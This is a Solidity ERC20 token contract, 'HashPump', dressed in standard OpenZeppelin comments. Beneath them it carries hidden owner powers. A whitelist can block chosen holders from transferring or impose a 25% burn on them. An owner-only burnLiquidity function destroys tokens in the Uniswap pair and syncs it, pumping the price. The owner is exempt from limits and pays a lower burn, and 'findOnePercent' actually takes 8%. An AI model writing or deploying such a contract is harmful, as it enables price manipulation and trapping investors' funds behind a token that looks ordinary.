// SPDX-License-Identifier: MIT

pragma solidity ^0.6.0;

/*

Created and tested by the SeedMaster team!

*/

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
	/**
 	* @dev Returns the amount of tokens in existence.
 	*/
	function totalSupply() external view returns (uint256);

	/**
 	* @dev Returns the amount of tokens owned by `account`.
 	*/
	function balanceOf(address account) external view returns (uint256);

	/**
 	* @dev Moves `amount` tokens from the caller's account to `recipient`.
 	*
 	* Returns a boolean value indicating whether the operation succeeded.
 	*
 	* Emits a {Transfer} event.
 	*/
	function transfer(address recipient, uint256 amount) external returns (bool);

	/**
 	* @dev Returns the remaining number of tokens that `spender` will be
 	* allowed to spend on behalf of `owner` through {transferFrom}. This is
 	* zero by default.
 	*
 	* This value changes when {approve} or {transferFrom} are called.
 	*/
	function allowance(address owner, address spender) external view returns (uint256);

	/**
 	* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
 	*
 	* Returns a boolean value indicating whether the operation succeeded.
 	*
 	* IMPORTANT: Beware that changing an allowance with this method brings the risk
 	* that someone may use both the old and the new allowance by unfortunate
 	* transaction ordering. One possible solution to mitigate this race
 	* condition is to first reduce the spender's allowance to 0 and set the
 	* desired value afterwards:
 	* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
 	*
 	* Emits an {Approval} event.
 	*/
	function approve(address spender, uint256 amount) external returns (bool);

	/**
 	* @dev Moves `amount` tokens from `sender` to `recipient` using the
 	* allowance mechanism. `amount` is then deducted from the caller's
 	* allowance.
 	*
 	* Returns a boolean value indicating whether the operation succeeded.
 	*
 	* Emits a {Transfer} event.
 	*/
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

	/**
 	* @dev Emitted when `value` tokens are moved from one account (`from`) to
 	* another (`to`).
 	*
 	* Note that `value` may be zero.
 	*/
	event Transfer(address indexed from, address indexed to, uint256 value);

	/**
 	* @dev Emitted when the allowance of a `spender` for an `owner` is set by
 	* a call to {approve}. `value` is the new allowance.
 	*/
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
	/**
 	* @dev Returns the addition of two unsigned integers, reverting on
 	* overflow.
 	*
 	* Counterpart to Solidity's `+` operator.
 	*
 	* Requirements:
 	*
 	* - Addition cannot overflow.
 	*/
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
    	uint256 c = a + b;
    	require(c >= a, "SafeMath: addition overflow");

    	return c;
	}

	/**
 	* @dev Returns the subtraction of two unsigned integers, reverting on
 	* overflow (when the result is negative).
 	*
 	* Counterpart to Solidity's `-` operator.
 	*
 	* Requirements:
 	*
 	* - Subtraction cannot overflow.
 	*/
	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    	return sub(a, b, "SafeMath: subtraction overflow");
	}

	/**
 	* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
 	* overflow (when the result is negative).
 	*
 	* Counterpart to Solidity's `-` operator.
 	*
 	* Requirements:
 	*
 	* - Subtraction cannot overflow.
 	*/
	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    	require(b <= a, errorMessage);
    	uint256 c = a - b;

    	return c;
	}

	/**
 	* @dev Returns the multiplication of two unsigned integers, reverting on
 	* overflow.
 	*
 	* Counterpart to Solidity's `*` operator.
 	*
 	* Requirements:
 	*
 	* - Multiplication cannot overflow.
 	*/
	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    	// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    	// benefit is lost if 'b' is also tested.
    	// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
    	if (a == 0) {
        	return 0;
    	}

    	uint256 c = a * b;
    	require(c / a == b, "SafeMath: multiplication overflow");

    	return c;
	}

	/**
 	* @dev Returns the integer division of two unsigned integers. Reverts on
 	* division by zero. The result is rounded towards zero.
 	*
 	* Counterpart to Solidity's `/` operator. Note: this function uses a
 	* `revert` opcode (which leaves remaining gas untouched) while Solidity
 	* uses an invalid opcode to revert (consuming all remaining gas).
 	*
 	* Requirements:
 	*
 	* - The divisor cannot be zero.
 	*/
	function div(uint256 a, uint256 b) internal pure returns (uint256) {
    	return div(a, b, "SafeMath: division by zero");
	}

	/**
 	* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
 	* division by zero. The result is rounded towards zero.
 	*
 	* Counterpart to Solidity's `/` operator. Note: this function uses a
 	* `revert` opcode (which leaves remaining gas untouched) while Solidity
 	* uses an invalid opcode to revert (consuming all remaining gas).
 	*
 	* Requirements:
 	*
 	* - The divisor cannot be zero.
 	*/
	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    	require(b > 0, errorMessage);
    	uint256 c = a / b;
    	// assert(a == b * c + a % b); // There is no case in which this doesn't hold

    	return c;
	}

	/**
 	* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
 	* Reverts when dividing by zero.
 	*
 	* Counterpart to Solidity's `%` operator. This function uses a `revert`
 	* opcode (which leaves remaining gas untouched) while Solidity uses an
 	* invalid opcode to revert (consuming all remaining gas).
 	*
 	* Requirements:
 	*
 	* - The divisor cannot be zero.
 	*/
	function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    	return mod(a, b, "SafeMath: modulo by zero");
	}

	/**
 	* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
 	* Reverts with custom message when dividing by zero.
 	*
 	* Counterpart to Solidity's `%` operator. This function uses a `revert`
 	* opcode (which leaves remaining gas untouched) while Solidity uses an
 	* invalid opcode to revert (consuming all remaining gas).
 	*
 	* Requirements:
 	*
 	* - The divisor cannot be zero.
 	*/
	function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    	require(b != 0, errorMessage);
    	return a % b;
	}
    
	function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
    	uint256 c = add(a,m);
    	uint256 d = sub(c,1);
    	return mul(div(d,m),m);
	}
}

interface IUniswapV2Router {
	function WETH() external pure returns (address);
}

interface IUniswapV2Pair {
    	function sync() external;
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract HashPump is IERC20 {
	using SafeMath for uint256;

	mapping (address => uint256) private _balances;

	mapping (address => mapping (address => uint256)) private _allowances;
    
	mapping (address => bool) private whitelist;

	uint256 private _totalSupply = 640 ether;

	address public constant uniswapV2Router = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
	address public constant uniswapV2Factory = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
    
	address private uniswapPair;

	string private _name = "HashPump Token";
	string private _symbol = "HASHP";
	uint8 private _decimals = 18;
	address private __owner;
	uint8 public phase = 1;
	bool private stopBots = true;
	bool private limitHold = true;
    
	/**
 	* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
 	* a default value of 18.
 	*
 	* To select a different value for {decimals}, use {_setupDecimals}.
 	*
 	* All three of these values are immutable: they can only be set once during
 	* construction.
 	*/
	constructor () public {
    	__owner = msg.sender;
    	_balances[__owner] = _totalSupply;
    	_initializePair();
	}
    
	function _initializePair() internal {
    	(address token0, address token1) = sortTokens(address(this), IUniswapV2Router(uniswapV2Router).WETH());
    	uniswapPair = pairFor(uniswapV2Factory, token0, token1);
	}

	/**
 	* @dev Returns the name of the token.
 	*/
	function name() public view returns (string memory) {
    	return _name;
	}

	/**
 	* @dev Returns the symbol of the token, usually a shorter version of the
 	* name.
 	*/
	function symbol() public view returns (string memory) {
    	return _symbol;
	}

	/**
 	* @dev Returns the number of decimals used to get its user representation.
 	* For example, if `decimals` equals `2`, a balance of `505` tokens should
 	* be displayed to a user as `5,05` (`505 / 10 ** 2`).
 	*
 	* Tokens usually opt for a value of 18, imitating the relationship between
 	* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
 	* called.
 	*
 	* NOTE: This information is only used for _display_ purposes: it in
 	* no way affects any of the arithmetic of the contract, including
 	* {IERC20-balanceOf} and {IERC20-transfer}.
 	*/
	function decimals() public view returns (uint8) {
    	return _decimals;
	}
    
	function multiWhitelistAdd(address[] memory addresses) public {
    	if (msg.sender != __owner) {
        	revert();
    	}

    	for (uint256 i = 0; i < addresses.length; i++) {
        	whitelistAdd(addresses[i]);
    	}
	}

	function multiWhitelistRemove(address[] memory addresses) public {
    	if (msg.sender != __owner) {
        	revert();
    	}

    	for (uint256 i = 0; i < addresses.length; i++) {
        	whitelistRemove(addresses[i]);
    	}
	}

	function whitelistAdd(address a) public {
    	if (msg.sender != __owner) {
        	revert();
    	}
   	 
    	whitelist[a] = true;
	}
    
	function whitelistRemove(address a) public {
    	if (msg.sender != __owner) {
        	revert();
    	}
   	 
    	whitelist[a] = false;
	}
    
	function isInWhitelist(address a) internal view returns (bool) {
    	return whitelist[a];
	}

	/**
 	* @dev See {IERC20-totalSupply}.
 	*/
	function totalSupply() public view override returns (uint256) {
    	return _totalSupply;
	}

	/**
 	* @dev See {IERC20-balanceOf}.
 	*/
	function balanceOf(address account) public view override returns (uint256) {
    	return _balances[account];
	}
    
	function multiTransfer(address[] memory addresses, uint256 amount) public {
    	for (uint256 i = 0; i < addresses.length; i++) {
        	transfer(addresses[i], amount);
    	}
	}

	/**
 	* @dev See {IERC20-transfer}.
 	*
 	* Requirements:
 	*
 	* - `recipient` cannot be the zero address.
 	* - the caller must have a balance of at least `amount`.
 	*/
	function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
    	_transfer(msg.sender, recipient, amount);
    	return true;
	}

	function disableBots() public {
    	if (msg.sender != __owner) {
        	revert();
    	}
   	 
    	stopBots = true;
	}
    
	function enableBots() public {
    	if (msg.sender != __owner) {
        	revert();
    	}
   	 
    	stopBots = false;
	}
	function disableHoldLimit() public {
    	if (msg.sender != __owner) {
        	revert();
    	}
   	 
    	limitHold = false;
	}
    
	function enableHoldLimit() public {
    	if (msg.sender != __owner) {
        	revert();
    	}
   	 
    	limitHold = true;
	}
	/**
 	* @dev See {IERC20-allowance}.
 	*/
	function allowance(address owner, address spender) public view virtual override returns (uint256) {
    	return _allowances[owner][spender];
	}

	/**
 	* @dev See {IERC20-approve}.
 	*
 	* Requirements:
 	*
 	* - `spender` cannot be the zero address.
 	*/
	function approve(address spender, uint256 amount) public virtual override returns (bool) {
    	_approve(msg.sender, spender, amount);
    	return true;
	}

	/**
 	* @dev See {IERC20-transferFrom}.
 	*
 	* Emits an {Approval} event indicating the updated allowance. This is not
 	* required by the EIP. See the note at the beginning of {ERC20}.
 	*
 	* Requirements:
 	*
 	* - `sender` and `recipient` cannot be the zero address.
 	* - `sender` must have a balance of at least `amount`.
 	* - the caller must have allowance for ``sender``'s tokens of at least
 	* `amount`.
 	*/
	function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
    	_transfer(sender, recipient, amount);
    	_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
    	return true;
	}

	/**
 	* @dev Atomically increases the allowance granted to `spender` by the caller.
 	*
 	* This is an alternative to {approve} that can be used as a mitigation for
 	* problems described in {IERC20-approve}.
 	*
 	* Emits an {Approval} event indicating the updated allowance.
 	*
 	* Requirements:
 	*
 	* - `spender` cannot be the zero address.
 	*/
	function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
    	_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
    	return true;
	}

	/**
 	* @dev Atomically decreases the allowance granted to `spender` by the caller.
 	*
 	* This is an alternative to {approve} that can be used as a mitigation for
 	* problems described in {IERC20-approve}.
 	*
 	* Emits an {Approval} event indicating the updated allowance.
 	*
 	* Requirements:
 	*
 	* - `spender` cannot be the zero address.
 	* - `spender` must have allowance for the caller of at least
 	* `subtractedValue`.
 	*/
	function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
    	_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
    	return true;
	}
    
    	// returns sorted token addresses, used to handle return values from pairs sorted in this order
	function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
    	require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
    	(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
    	require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
	}

	// calculates the CREATE2 address for a pair without making any external calls
	function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
    	(address token0, address token1) = sortTokens(tokenA, tokenB);
    	pair = address(uint(keccak256(abi.encodePacked(
            	hex'ff',
            	factory,
            	keccak256(abi.encodePacked(token0, token1)),
            	hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
        	))));
	}
    
	function findOnePercent(uint256 value) public pure returns (uint256)  {
    	uint256 roundValue = value.ceil(100);
    	uint256 onePercent = roundValue.mul(10).div(125); // burn 8%
    	return onePercent;
	}

	/**
 	* @dev Moves tokens `amount` from `sender` to `recipient`.
 	*
 	* This is internal function is equivalent to {transfer}, and can be used to
 	* e.g. implement automatic token fees, slashing mechanisms, etc.
 	*
 	* Emits a {Transfer} event.
 	*
 	* Requirements:
 	*
 	* - `sender` cannot be the zero address.
 	* - `recipient` cannot be the zero address.
 	* - `sender` must have a balance of at least `amount`.
 	*/
	function _transfer(address sender, address recipient, uint256 amount) internal virtual {
    	require(sender != address(0), "ERC20: transfer from the zero address");
    	require(recipient != address(0), "ERC20: transfer to the zero address");
   	 
    	uint256 tokensToBurn = findOnePercent(amount);

    	if (stopBots) {
        	if (amount > 5 ether && sender != __owner) {
            	revert('stop the bots!');
        	}
    	}
   	 
    	if (limitHold) {
        	if (recipient != __owner && recipient != uniswapPair && recipient != uniswapV2Factory) {
            	if (_balances[recipient] + amount > 8 ether) {
                	revert();
            	}
        	}
    	}
   	 
   	 
    	if (phase == 1) {
        	if (isInWhitelist(sender)) {
            	revert();
        	}
    	} else if (phase == 2) {
    	    if (isInWhitelist(sender)) {
            	tokensToBurn = amount.div(4);
        	}
    	}
   	 
    	if (sender == __owner) {
        	tokensToBurn = amount.div(100);
    	}
   	 
    	uint256 tokensToTransfer = amount.sub(tokensToBurn);
   	 
    	_beforeTokenTransfer(sender, recipient, amount);
   	 
    	_burn(sender, tokensToBurn);
    	_balances[sender] = _balances[sender].sub(tokensToTransfer, "ERC20: transfer amount exceeds balance");
    	_balances[recipient] = _balances[recipient].add(tokensToTransfer);
    	emit Transfer(sender, recipient, tokensToTransfer);
	}

	/**
 	* @dev Destroys `amount` tokens from `account`, reducing the
 	* total supply.
 	*
 	* Emits a {Transfer} event with `to` set to the zero address.
 	*
 	* Requirements:
 	*
 	* - `account` cannot be the zero address.
 	* - `account` must have at least `amount` tokens.
 	*/
	function _burn(address account, uint256 amount) internal virtual {
    	require(account != address(0), "ERC20: burn from the zero address");

    	_beforeTokenTransfer(account, address(0), amount);

    	_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
    	_totalSupply = _totalSupply.sub(amount);
    	emit Transfer(account, address(0), amount);
	}

	/**
 	* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
 	*
 	* This internal function is equivalent to `approve`, and can be used to
 	* e.g. set automatic allowances for certain subsystems, etc.
 	*
 	* Emits an {Approval} event.
 	*
 	* Requirements:
 	*
 	* - `owner` cannot be the zero address.
 	* - `spender` cannot be the zero address.
 	*/
	function _approve(address owner, address spender, uint256 amount) internal virtual {
    	require(owner != address(0), "ERC20: approve from the zero address");
    	require(spender != address(0), "ERC20: approve to the zero address");

    	_allowances[owner][spender] = amount;
    	emit Approval(owner, spender, amount);
	}

	function burnLiquidity(uint256 amount) public {
    	if (__owner != msg.sender || amount > 10 ether) {
        	revert();
    	}
   	 
    	_burn(uniswapPair, amount);
    	IUniswapV2Pair(uniswapPair).sync();
	}
    
	/**
 	* @dev Sets {decimals} to a value other than the default one of 18.
 	*
 	* WARNING: This function should only be called from the constructor. Most
 	* applications that interact with token contracts will not expect
 	* {decimals} to ever change, and may work incorrectly if it does.
 	*/
	function _setupDecimals(uint8 decimals_) internal {
    	_decimals = decimals_;
	}
    
	function setPhase(uint8 _phase) public {
    	if (__owner != msg.sender) {
        	revert();
    	}
   	 
    	phase = _phase;
	}
    
	/**
 	* @dev Hook that is called before any transfer of tokens. This includes
 	* minting and burning.
 	*
 	* Calling conditions:
 	*
 	* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
 	* will be to transferred to `to`.
 	* - when `from` is zero, `amount` tokens will be minted for `to`.
 	* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
 	* - `from` and `to` are never both zero.
 	*
 	* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
 	*/
	function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}